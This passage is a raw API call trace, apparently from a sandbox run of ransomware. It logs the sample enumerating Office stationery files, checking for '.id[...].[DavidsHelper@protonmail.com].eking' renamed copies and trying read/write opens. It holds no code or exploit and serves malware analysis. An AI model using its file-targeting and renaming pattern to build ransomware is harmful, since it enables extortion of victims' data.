shared\\stationery\\grid_(cm).wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.753] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=7498) returned 1 [0172.753] CloseHandle (hObject=0x1e8) returned 1 [0172.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0172.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0172.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.757] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=235) returned 1 [0172.757] CloseHandle (hObject=0x1e8) returned 1 [0172.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0172.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0172.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.758] SetEvent (hEvent=0x174) returned 1 [0172.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.759] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4222) returned 1 [0172.759] CloseHandle (hObject=0x1e8) returned 1 [0172.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0172.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0172.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.761] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=152300) returned 1 [0172.761] CloseHandle (hObject=0x1e8) returned 1 [0172.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf")) returned 0x20 [0172.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf")) returned 0x20 [0172.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.761] SetEvent (hEvent=0x174) returned 1 [0172.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.762] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2209) returned 1 [0172.762] CloseHandle (hObject=0x1e8) returned 1 [0172.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg")) returned 0x20 [0172.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg")) returned 0x20 [0172.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.763] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4192) returned 1 [0172.763] CloseHandle (hObject=0x1e8) returned 1 [0172.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf")) returned 0x20 [0172.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf")) returned 0x20 [0172.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.765] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=26036) returned 1 [0172.765] CloseHandle (hObject=0x1e8) returned 1 [0172.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf")) returned 0x20 [0172.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf")) returned 0x20 [0172.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.766] SetEvent (hEvent=0x174) returned 1 [0172.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.771] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2950) returned 1 [0172.771] CloseHandle (hObject=0x1e8) returned 1 [0172.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg")) returned 0x20 [0172.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg")) returned 0x20 [0172.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.772] SetEvent (hEvent=0x174) returned 1 [0172.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.773] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=237) returned 1 [0172.773] CloseHandle (hObject=0x1e8) returned 1 [0172.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0172.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0172.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.774] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=6381) returned 1 [0172.774] CloseHandle (hObject=0x1e8) returned 1 [0172.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0172.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0172.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.776] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=232) returned 1 [0172.776] CloseHandle (hObject=0x1e8) returned 1 [0172.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0172.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0172.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.777] SetEvent (hEvent=0x174) returned 1 [0172.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.778] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5115) returned 1 [0172.778] CloseHandle (hObject=0x1e8) returned 1 [0172.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0172.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0172.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.779] SetEvent (hEvent=0x174) returned 1 [0172.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.779] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3981) returned 1 [0172.779] CloseHandle (hObject=0x1e8) returned 1 [0172.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg")) returned 0x20 [0172.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg")) returned 0x20 [0172.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.780] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5115) returned 1 [0172.780] CloseHandle (hObject=0x1e8) returned 1 [0172.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg")) returned 0x20 [0172.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg")) returned 0x20 [0172.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.781] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.781] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.782] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=14049) returned 1 [0172.782] CloseHandle (hObject=0x1e8) returned 1 [0172.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg")) returned 0x20 [0172.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg")) returned 0x20 [0172.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.783] SetEvent (hEvent=0x174) returned 1 [0172.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.784] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=233) returned 1 [0172.784] CloseHandle (hObject=0x1e8) returned 1 [0172.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0172.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0172.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: 